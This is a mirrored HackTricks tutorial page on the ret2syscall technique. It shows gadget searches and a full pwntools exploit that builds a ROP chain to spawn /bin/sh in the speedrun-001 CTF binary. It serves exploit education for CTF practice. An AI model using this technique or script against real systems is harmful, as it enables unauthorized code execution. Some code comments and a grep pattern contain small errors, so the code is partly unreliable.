mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	
		
			
				
	
	
		
			228 lines
		
	
	
		
			8.2 KiB
		
	
	
	
		
			Markdown
		
	
	
	
	
	
			
		
		
	
	
			228 lines
		
	
	
		
			8.2 KiB
		
	
	
	
		
			Markdown
		
	
	
	
	
	
| # Ret2syscall
 | |
| 
 | |
| {% hint style="success" %}
 | |
| Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
 | |
| Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 | |
| 
 | |
| <details>
 | |
| 
 | |
| <summary>Support HackTricks</summary>
 | |
| 
 | |
| * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
 | |
| * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
 | |
| * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 | |
| 
 | |
| </details>
 | |
| {% endhint %}
 | |
| 
 | |
| ## Basic Information
 | |
| 
 | |
| This is similar to Ret2lib, however, in this case we won't be calling a function from a library. In this case, everything will be prepared to call the syscall `sys_execve` with some arguments to execute `/bin/sh`. This technique is usually performed on binaries that are compiled statically, so there might be plenty of gadgets and syscall instructions.
 | |
| 
 | |
| In order to prepare the call for the **syscall** it's needed the following configuration:
 | |
| 
 | |
| * `rax: 59 Specify sys_execve`
 | |
| * `rdi: ptr to "/bin/sh" specify file to execute`
 | |
| * `rsi: 0 specify no arguments passed`
 | |
| * `rdx: 0 specify no environment variables passed`
 | |
| 
 | |
| So, basically it's needed to write the string `/bin/sh` somewhere and then perform the `syscall` (being aware of the padding needed to control the stack). For this, we need a gadget to write `/bin/sh` in a known area.
 | |
| 
 | |
| {% hint style="success" %}
 | |
| Another interesting syscall to call is **`mprotect`** which would allow an attacker to **modify the permissions of a page in memory**. This can be combined with [ret2shellcode](stack-shellcode.md).
 | |
| {% endhint %}
 | |
| 
 | |
| ## Register gadgets
 | |
| 
 | |
| Let's start by finding **how to control those registers**:
 | |
| 
 | |
| ```c
 | |
| ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
 | |
| 0x0000000000415664 : pop rax ; ret
 | |
| 0x0000000000400686 : pop rdi ; ret
 | |
| 0x00000000004101f3 : pop rsi ; ret
 | |
| 0x00000000004498b5 : pop rdx ; ret
 | |
| ```
 | |
| 
 | |
| With these addresses it's possible to **write the content in the stack and load it into the registers**.
 | |
| 
 | |
| ## Write string
 | |
| 
 | |
| ### Writable memory
 | |
| 
 | |
| First you need to find a writable place in the memory
 | |
| 
 | |
| ```bash
 | |
| gef> vmmap
 | |
| [ Legend:  Code | Heap | Stack ]
 | |
| Start              End                Offset             Perm Path
 | |
| 0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
 | |
| 0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
 | |
| 0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
 | |
| ```
 | |
| 
 | |
| ### Write String in memory
 | |
| 
 | |
| Then you need to find a way to write arbitrary content in this address
 | |
| 
 | |
| ```bash
 | |
| ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
 | |
| mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
 | |
| ```
 | |
| 
 | |
| ### Automate ROP chain
 | |
| 
 | |
| The following command creates a full `sys_execve` ROP chain given a static binary when there are write-what-where gadgets and syscall instructions:
 | |
| 
 | |
| ```bash
 | |
| ROPgadget --binary vuln --ropchain
 | |
| ```
 | |
| 
 | |
| #### 32 bits
 | |
| 
 | |
| ```python
 | |
| '''
 | |
| Lets write "/bin/sh" to 0x6b6000
 | |
| 
 | |
| pop rdx, 0x2f62696e2f736800
 | |
| pop rax, 0x6b6000
 | |
| mov qword ptr [rax], rdx
 | |
| '''
 | |
| 
 | |
| rop += popRdx           # place value into EAX
 | |
| rop += "/bin"           # 4 bytes at a time
 | |
| rop += popRax           # place value into edx
 | |
| rop += p32(0x6b6000)    # Writable memory
 | |
| rop += writeGadget   #Address to: mov qword ptr [rax], rdx
 | |
| 
 | |
| rop += popRdx
 | |
| rop += "//sh"
 | |
| rop += popRax
 | |
| rop += p32(0x6b6000 + 4)
 | |
| rop += writeGadget
 | |
| ```
 | |
| 
 | |
| #### 64 bits
 | |
| 
 | |
| ```python
 | |
| '''
 | |
| Lets write "/bin/sh" to 0x6b6000
 | |
| 
 | |
| pop rdx, 0x2f62696e2f736800
 | |
| pop rax, 0x6b6000
 | |
| mov qword ptr [rax], rdx
 | |
| '''
 | |
| rop = ''
 | |
| rop += popRdx
 | |
| rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
 | |
| rop += popRax
 | |
| rop += p64(0x6b6000) # Writable memory
 | |
| rop += writeGadget #Address to: mov qword ptr [rax], rdx
 | |
| ```
 | |
| 
 | |
| ## Lacking Gadgets
 | |
| 
 | |
| If you are **lacking gadgets**, for example to write `/bin/sh` in memory, you can use the **SROP technique to control all the register values** (including RIP and params registers) from the stack:
 | |
| 
 | |
| {% content-ref url="srop-sigreturn-oriented-programming.md" %}
 | |
| [srop-sigreturn-oriented-programming.md](srop-sigreturn-oriented-programming.md)
 | |
| {% endcontent-ref %}
 | |
| 
 | |
| There might be gadgets in the vDSO region, which is used to change from user mode to kernel mode. In these type of challenges, usually a kernel image is provided to dump the vDSO region.
 | |
| 
 | |
| ## Exploit Example
 | |
| 
 | |
| ```python
 | |
| from pwn import *
 | |
| 
 | |
| target = process('./speedrun-001')
 | |
| #gdb.attach(target, gdbscript = 'b *0x400bad')
 | |
| 
 | |
| # Establish our ROP Gadgets
 | |
| popRax = p64(0x415664)
 | |
| popRdi = p64(0x400686)
 | |
| popRsi = p64(0x4101f3)
 | |
| popRdx = p64(0x4498b5)
 | |
| 
 | |
| # 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
 | |
| writeGadget = p64(0x48d251)
 | |
| 
 | |
| # Our syscall gadget
 | |
| syscall = p64(0x40129c)
 | |
| 
 | |
| '''
 | |
| Here is the assembly equivalent for these blocks
 | |
| write "/bin/sh" to 0x6b6000
 | |
| 
 | |
| pop rdx, 0x2f62696e2f736800
 | |
| pop rax, 0x6b6000
 | |
| mov qword ptr [rax], rdx
 | |
| '''
 | |
| rop = ''
 | |
| rop += popRdx
 | |
| rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
 | |
| rop += popRax
 | |
| rop += p64(0x6b6000)
 | |
| rop += writeGadget
 | |
| 
 | |
| '''
 | |
| Prep the four registers with their arguments, and make the syscall
 | |
| 
 | |
| pop rax, 0x3b
 | |
| pop rdi, 0x6b6000
 | |
| pop rsi, 0x0
 | |
| pop rdx, 0x0
 | |
| 
 | |
| syscall
 | |
| '''
 | |
| 
 | |
| rop += popRax
 | |
| rop += p64(0x3b)
 | |
| 
 | |
| rop += popRdi
 | |
| rop += p64(0x6b6000)
 | |
| 
 | |
| rop += popRsi
 | |
| rop += p64(0)
 | |
| rop += popRdx
 | |
| rop += p64(0)
 | |
| 
 | |
| rop += syscall
 | |
| 
 | |
| 
 | |
| # Add the padding to the saved return address
 | |
| payload = "0"*0x408 + rop
 | |
| 
 | |
| # Send the payload, drop to an interactive shell to use our new shell
 | |
| target.sendline(payload)
 | |
| 
 | |
| target.interactive() 
 | |
| ```
 | |
| 
 | |
| ## Other Examples & References
 | |
| 
 | |
| * [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html)
 | |
|   * 64 bits, no PIE, nx, write in some memory a ROP to call `execve` and jump there.
 | |
| * [https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html)
 | |
|   * 64 bits, nx, no PIE, write in some memory a ROP to call `execve` and jump there. In order to write to the stack a function that performs mathematical operations is abused
 | |
| * [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
 | |
|   * 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there.
 | |
| * [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/)
 | |
|   * 32 bits, no ASLR, use vDSO to find ROP gadgets and call `execve`.
 | |
| 
 | |
| {% hint style="success" %}
 | |
| Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
 | |
| Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 | |
| 
 | |
| <details>
 | |
| 
 | |
| <summary>Support HackTricks</summary>
 | |
| 
 | |
| * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
 | |
| * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
 | |
| * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 | |
| 
 | |
| </details>
 | |
| {% endhint %}
 | |
| 
 |